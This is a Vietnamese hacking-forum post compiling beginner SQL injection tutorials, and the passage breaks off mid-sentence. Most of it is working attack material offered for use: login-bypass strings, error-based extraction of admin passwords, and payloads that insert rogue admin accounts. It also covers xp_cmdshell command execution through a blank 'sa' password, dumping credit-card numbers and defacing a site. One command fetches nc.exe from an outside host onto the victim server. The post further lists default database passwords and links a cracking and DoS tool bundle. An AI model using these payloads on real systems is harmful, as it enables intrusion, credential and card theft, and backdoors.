| News Explay |
| Newbie làm quen với hack (bài 4) | |
|---|---|
| Tweet Topic Started: 26/06/2011 - 02:17 pm (90 Views) | |
kevinpham
|
26/06/2011 - 02:17 pm Post #1 |
![]()
Administrator
|
các bạn thân mến, dưới đây là những gì tui học ( từ website ) về những bài hack đầu tiên, tôi xin chia sẻ nó với các bạn đây lầ bài đã dựoc post nhưng tôi tổng hợp lại để các bạn dễ hiễu ( nên nhó hack là dùng cái đầu hơn là hoc vẹt) 1. SQL Injection là gì? SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ... 2. Tìm kiếm mục tiêu Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ... Ví dụ: http://yoursite.com/index.asp?id=10 Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới. <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> 3. Kiểm tra chỗ yếu của trang web Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1-- Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' or 1=1-- Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ: <FORM action=http://yoursite.com/Search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </FORM> Nếu thành công, thì có thể login vào mà không cần phải biết username và password 4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập? Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau: http://yoursite.com/index.asp?category=food Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là: SELECT * FROM product WHERE PCategory='food' Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food' Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là: SELECT * FROM product WHERE PCategory='food' or 1=1--' Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#" Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a 5. Thi hành lệnh từ xa bằng SQL Injection Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa: '; exec master..xp_cmdshell 'ping 10.10.1.2'-- Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau: #tcpdump icmp Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành. 6. Nhận output của SQL query Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Chú ý: folder "share" phải được share cho Everyone trước. 7. Nhận dữ liệu qua 'database using ODBC error message' Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trênhttp://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có. Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-- Khi đó thông báo lỗi của SQL Server có thể là: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login". 8. Xác định tên của các column trong table Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- Khi đó thông báo lỗi của SQL Server có thể như sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Khi đó thông báo lỗi của SQL Server có thể như sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- Khi đó thông báo lỗi của SQL Server có thể như sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 9. Thu thập các dữ liệu quan trọng Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này. Có thể lấy login_name đầu tiên trong table "admin_login" như sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- Khi đó thông báo lỗi của SQL Server có thể như sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- Khi đó thông báo lỗi của SQL Server có thể như sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix". 10. Nhận các numeric string Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173' 11. Thay đổi dữ liệu (Update/Insert) của CSDL Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này. Để thay đổi password của "neo", có thể làm như sau: http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- Hoặc nếu bạn muốn một record mới vào table: http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- Và bây giờ có thể login vào với username "neo2" và password là "newpas5" 1. Hướng Dẫn hack database qua SQL Injection Hầu hết các chương trình ứng dụng web mới đều dựa trên cấu trúc dữ liệu động để để đạt được tính hấp dẫn của các chương trình desktop cổ điển. Cơ chế động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một trong những nền database phổ biến hơn cả trong các ứng dụng e-shop là SQL. Rất nhiều các ứng dụng web chỉ dựa hoàn toàn vào những scripts ở đầu vào ( phía người dùng - client ), những đoạn scripts này chỉ đơn giản là truy vấn 1 SQL database nằm ở ngay trên webserver hay nằm trên 1 hệ thống đầu cuối ( phía server ) riêng biệt. Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web bao gồm việc chiếm đoạt những chuỗi truy vấn được dùng bởi các scripts, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. Một trong những cơ chế hiệu quả nhất để đạt được điều đó là một kỹ thuật gọi là SQL injection ( kỹ thuật chèn những câu lệnh SQL ) Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công vào server lưu giữ CSDL có thể gây ra thất thoát lớn về tài chính cho công ty. Thông thường CSDL bị hack để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSql) và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là "không thể xâm nhập được", nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất nhiều lỗi trong Oracle server.. Bài viết được chia làm 2 phần 1. Dùng HTTP cổng 80 2. Dùng MS SQL cổng 1434 Phần 1 - Dùng cổng 80 HTTP ---------------------------------------------------------------- Kiến thức trong phần này hữu ích không chỉ đối với các hacker mà còn với những người thiết kế web. Chỉ cần một lỗi thông thường tạo ra bởi người thiết kế web có thể làm lộ thông tin về CSDL của server cho hacker. Toàn bộ mục đích của trò chơi là các chuỗi truy vấn. Người đọc coi như có kiến thức về các truy vấn và ngôn ngữ asp ( active server pages ). Thêm nữa là cách tấn công này thường chỉ cần dùng bằng 1 trình duyệt internet. Vì vậy bạn không cần bất cứ một tool nào ngoại trừ IE hay Netscape. Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau: login.htm <html> <body> <form method=get action="logincheck.asp"> <input type="text" name="login_name"> <input type="text" name="pass"> <input type="submit" value="sign in"> </form> </body> </html> File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user nhập vào có nội dung: logincheck.asp <@language="vbscript"> <% dim conn,rs,log,pwd log=Request.form("login_name") pwd=Request.form("pass") set conn = Server.CreateObject("ADODB.Connection") conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb" conn.Open set rs = Server.CreateObject("ADODB.Recordset") rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn If rs.EOF response.write("Login failed") else response.write("Login successful") End if %> Thoạt tiên đoạn code trên có vẻ ổn. 1 người dùng type username và pass trong trang login.htm và click 'Submit'. Giá trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng cách dùng câu truy vấn "Select * from table1 where login='"&log& "' and password='" &pwd& "' ". Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn: "Select * from table1 where login='"&log& "' and password='" &pwd& "' " Nếu 1 user type tên đăng nhập là "hack" và mật khẩu là "passne" thì những giá trị này sẽ được chuyển cho trang asp với method "POST" và câu truy vấn trên trở thành: "Select * from table1 where login=' hack' and password=' passne ' " Tốt. Nếu như có 1 dòng chứ login name "hack" và password "passne" trong CSDL thì chúng ta sẽ nhận được thông báo đăng nhập thành công. Nhưng nếu như type loginname là "hack" và password là hi' or 'a'='a' trong phần password ? Câu truy vấn sẽ trở thành: "Select * from table1 where login=' hack' and password=' hi' or 'a'='a ' " Click 'Submit' và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều kiện là password bằng 'hi' HOẶC 'a'='a'. Điều này luôn đúng và hacker sẽ đăng nhập với nick 'hack'. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website: hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a Dấu -- được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành 'chú thích' nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng: hack' -- hack" -- hoặc những username khác và chọn lựa password bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username được kiểm tra là 'hack' và phần còn lại bị bỏ đi do có dấu -- . Nếu may mắn gặp được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có thể login với bất kỳ username nào. Cách tấn công cao cấp hơn: dùng các thông báo lỗi của ODBC -------------------------------------------------------------- Theo trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào. Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong url. Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như: http://www.nosecurity.com/mypage.asp?id=45 trong url, dấu '?' cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn. Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên là 'login_name' và 'pass', và các giá trị của 2 form này sẽ được chuyển cho logincheck.asp Việc đăng nhập thành công cũng có thể thực hiện bằng cách mở trực tiếp trang logincheck.asp bằng cách dùng link:http://www.nosecurity.com/loginchec...ack&pass=passne nếu method là GET thay vì POST ( save html lại và sửa POST bằng GET ) Lưu ý: sự khác nhau giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau trên url trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP Sau dấu '?' thì các biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type vào. Trong url trên thì login_name sẽ được gán với giá trị hack. Các giá trị khác nhau được ngăn cách bởi dấu '&' Quay trở lại trang index.htm, biến id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user sẽ được trả về trang mình muốn. Ứng với giá trị của 'id' là 46 sẽ có một trang khác. Chúng ta bắt đầu hack: type thêm vào trên url câu truy vấn sau: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- information_schema.tables là một table hệ thống chứa thông tin về tất cả table của server. Trong đó có một field table_name chứa tất cả tên của các table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy server sẽ thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line Trong thông báo lỗi trên ta nhận được một table là 'logintable'. Table này có thể chứa tên truy cập và password của các user. Tiếp tục type câu lệnh sau lên url: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-- Tương tự table_name, column_name cũng là 1 field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các column. Và ta đang gộp tên của column đầu tiên trong table 'logintable' với giá trị 45, nên sẽ có thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Thông báo lỗi cho thấy column đầu tiên trong 'logintable' là 'login_id', để lấy tên của column thứ 2: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Chúng ta có thêm 1 column nữa là 'login_name', tiếp tục lấy column thứ 3 http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'passwd' to a column of data type int. /index.asp, line 5 Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông tin login và password từ table 'logintable', type; http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5 Đây rồi: 1 trong những login name là 'Rahul', câu lệnh lấy password của user Rahul sẽ là: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5 OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ', ", --, : .... Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL ) ------------------------------------------------------ Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed url và chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434. Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động như thế nào, cùng với cách khai thác chúng. Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm: sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’ sp_tables -> hiển thị tất cả table trong database hiện tại VD: EXEC sp_tables xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root ) xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng. xp_regdeletekey -> xoá một key trong registry của windows xp_regdeletevalue -> xoá một giá trị trong registry xp_regread -> in 1 giá trị trong registry lên màn hình xp_regwrite -> gán 1 giá trị mới cho 1 key xp_terminate_process -> ngừng một process nào đó Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass ) Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào: Cosql.exe -? osql: unknown option ? usage: osql [-U login id] [-P password] [-S server] [-H hostname] [-E trusted connection] [-d use database name] [-l login timeout] [-t query timeout] [-h headers] [-s colseparator] [-w columnwidth] [-a packetsize] [-e echo input] [-I Enable quoted Identifiers] [-L list servers] [-c cmdend] [-q "cmdline query"] [-Q "cmdline query" and exit] [-n remove numbering] [-m errorlevel] [-r msgs to stderr] [-V severitylevel] [-i inputfile] [-o outputfile] [-p print statistics] [-b On error batch abort] [-O use Old ISQL behavior disables the following] <EOF> batch processing Auto console width scaling Wide messages default errorlevel is -1 vs 1 [-? show syntax summary] Đây là help file cho osql. Tiếp tục: C:\> osql.exe –S 198.188.178.1 –U sa –P “” Nếu chung ta nhận được dấu nhắc 1> có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa" Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’” Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables” Kiếm thông tin login trong các table như login, accounts, users ... C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users” và lấy thông tin về username cùng với credit card. C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users” Output: Username creditcard expdate ----------- ------------ ---------- Jack 5935023473209871 2004-10-03 00:00:00.000 Jill 5839203921948323 2004-07-02 00:00:00.000 Micheal 5732009850338493 2004-08-07 00:00:00.000 Ronak 5738203981300410 2004-03-02 00:00:00.000 Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver ) C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’” Upload file lên server dùng tftp: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’” Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server. Tools dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này chỉ đề cập một số vấn đề tổng quát về db server. • Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports. Phương pháp phòng chống --------------------------- <*> Đổi password mặc định của user "sa" <*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server <*> Lọc những ký tự như ',",--,: ... <*> Update SQL với những bản mới nhất <*> Khoá các port SQL bằng cách dùng firewall Một số website về SQL security" http://sqlsecurity.com/ http://www.cert.com/ Any comments and good criticism is always accepted at guatehack@linuxmail.org [End of Original Message] 1. Một số password default cho các super-user: Oracle sys: oracle mySQL (Windows) root:null MS SQL Server sa:null DB2 dlfm:ibmdb2 2. Collection các tool dùng cho SQL: SQLTools.zip ---------> www.lebuudan.net/SQLTools.zip Bao gồm: SQLcracker + passlist + userlist SQLdos.exe SQLscanner.exe SQLping.exe and more. 3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host nhỏ xíu hà. 4. ebook/text : ebook: http://www.hackersplayground.org/books.html text: http://www.hackersplayground.org/papers.html SQLinjection: http://www.hackersplayground.org/papers.html 1. Hiện nay SQL Inject đang trở nên rất phổ biến và nhiều trang bị lỗi Ngày trước hầu như sử dụng ASP và MSSQL (như cách hack CC ) Nhưng hiện nay trào lưu chủ yếu là PHP và MySQL thì lại sinh ra Mysql Inject OK sau đây là Mysql Inject hết sức phổ biến 1.Trước hết để tìm 1 trang bị lỗi : chẳng hạn bạn có trang http://www.site.com/news.php?id=5 Để kiểm tra xem trang có bị dính lỗi hay không thì bạn chỉ cần thêm ' vào cuối thành http://www.site.com/news.php?id=5' nếu thấy xuất hiện thông báo như sau: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." hoặc tương tự thì có nghĩa là lỗi rồi tuy nhiên ko phải trang nào cũng hiện báo lỗi như vậy cho bạn dễ nhìn đâu Lúc này bạn chỉ cần kiểm tra bằng cách so sánh 2 tragn hiển thị kết quả cụ thể như sau: http://www.site.com/news.php?id=5+AND+1=1-- hoàn toàn tương đương với http://www.site.com/news.php?id=5 AND 1=1-- vì dấu cách và dấu + trong truy vấn này là tương đương ,tuy nhiên dấu + sẽ dễ nhìn hơn nhỉ Sẽ hiện ra bình thường OK nhá nhưng nếu mà http://www.site.com/news.php?id=5+AND+1=0-- hay là http://www.site.com/news.php?id=5 AND 1=0-- sẽ ra kết quả sai thường thì trang sẽ thiếu 1 vài thứ gì đó bởi vì ko hiện thị được các trường(cột) trong truy vấn hợp lệ mà bị cái tham số AND 1=0 luôn luôn sai gây ra ^^Khi nào mà 1=0 thì trái đất này diệt vong mà haha À quên dấu + 